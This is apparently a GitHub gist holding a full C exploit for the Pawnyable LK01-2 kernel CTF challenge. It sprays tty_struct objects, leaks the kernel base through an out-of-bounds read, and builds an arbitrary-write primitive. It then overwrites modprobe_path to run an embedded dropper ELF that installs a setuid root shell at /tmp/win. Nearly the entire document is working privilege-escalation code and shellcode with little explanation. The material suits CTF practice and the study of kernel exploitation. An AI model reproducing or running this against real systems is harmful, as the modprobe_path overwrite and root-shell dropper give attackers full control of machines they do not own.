Created
November 25, 2022 11:14
-
-
Save brant-ruan/5f5db5ee79779bbc495c60152b85ccb9 to your computer and use it in GitHub Desktop.
Pawnyable LK01-2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#define SPRAY_NUM 100 | |
#define ofs_tty_ops 0xc38880 | |
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b7dd6) | |
#define mov_eax_ptr_rdx_ret (kbase + 0x440428) | |
#define modprobe_path (kbase + 0xe38180) | |
int fd; | |
unsigned long kbase; | |
unsigned long g_buf; | |
int spray[SPRAY_NUM]; | |
char buf[0x500]; | |
char win_condition[] = "/tmp/evil"; | |
/* | |
* Ref: https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-3-probing-the-mods | |
* Dropper...: | |
* fd = open("/tmp/win", 0_WRONLY | O_CREAT | O_TRUNC); | |
* write(fd, shellcode, shellcodeLen); | |
* chmod("/tmp/win", 0x4755); | |
* close(fd); | |
* exit(0) | |
* | |
* ... who drops some shellcode ELF: | |
* setuid(0); | |
* setgid(0); | |
* execve("/bin/sh", ["/bin/sh"], NULL); | |
*/ | |
unsigned char dropper[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x03, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, | |
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xb0, 0x02, 0x48, 0x8d, 0x3d, 0x3b, 0x00, 0x00, | |
0x00, 0xbe, 0x41, 0x02, 0x00, 0x00, 0x0f, 0x05, | |
0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x33, 0x00, | |
0x00, 0x00, 0xba, 0xa0, 0x00, 0x00, 0x00, 0xb0, | |
0x01, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0xb0, 0x03, | |
0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x13, 0x00, 0x00, | |
0x00, 0xbe, 0xff, 0x0d, 0x00, 0x00, 0xb0, 0x5a, | |
0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0, 0x3c, 0x0f, | |
0x05, 0x00, 0x00, 0x00, 0x2f, 0x74, 0x6d, 0x70, | |
0x2f, 0x77, 0x69, 0x6e, 0x00, 0x7f, 0x45, 0x4c, | |
0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x3e, | |
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, | |
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, | |
0xb0, 0x69, 0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0, | |
0x6a, 0x0f, 0x05, 0x48, 0xbb, 0xd1, 0x9d, 0x96, | |
0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, | |
0x53, 0x48, 0x89, 0xe7, 0x56, 0x57, 0x48, 0x89, | |
0xe6, 0xb0, 0x3b, 0x0f, 0x05 | |
}; | |
void AAW32(unsigned long addr, unsigned int val) { | |
printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr); | |
unsigned long *p = (unsigned long *)&buf; | |
p[0xc] = mov_ptr_rdx_rcx_ret; | |
*(unsigned long *)&buf[0x418] = g_buf; | |
write(fd, buf, 0x420); | |
for (int i = 0; i < SPRAY_NUM; i++) | |
ioctl(spray[i], val /* rcx */, addr /* rdx */); | |
} | |
int main() { | |
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); | |
for (int i = 0; i < SPRAY_NUM / 2; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
printf("[+] /dev/holstein opened\n"); | |
fd = open("/dev/holstein", O_RDWR); | |
if (fd == -1) | |
perror("open"); | |
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); | |
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
printf("[*] leaking kernel base and g_buf with OOB read\n"); | |
read(fd, buf, 0x500); | |
kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops; | |
g_buf = *(unsigned long *)&buf[0x438] - 0x438; | |
printf("[+] leaked kernel base address: 0x%lx\n", kbase); | |
printf("[+] leaked g_buf address: 0x%lx\n", g_buf); | |
for (int i = 0; i < sizeof(win_condition); i += 4) | |
AAW32(modprobe_path + i, *(unsigned int *)&win_condition[i]); | |
FILE *fptr = fopen(win_condition, "w"); | |
if (!fptr) { | |
puts("[!] Failed to open win condition"); | |
exit(-1); | |
} | |
if (fwrite(dropper, sizeof(dropper), 1, fptr) < 1) { | |
puts("[!] Failed to write win condition"); | |
exit(-1); | |
} | |
fclose(fptr); | |
if (chmod(win_condition, 0777) < 0) { | |
puts("[!] Failed to chmod win condition"); | |
exit(-1); | |
}; | |
puts("[+] win_condition (dropper) written to /tmp/evil"); | |
puts("[*] triggering modprobe"); | |
system("chmod +x /tmp/evil"); | |
system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn"); | |
system("chmod +x /tmp/pwn"); | |
system("/tmp/pwn"); // trigger modprobe_path | |
puts("[*] spawning root shell"); | |
system("/tmp/win"); | |
close(fd); | |
for (int i = 0; i < SPRAY_NUM; i++) | |
close(spray[i]); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment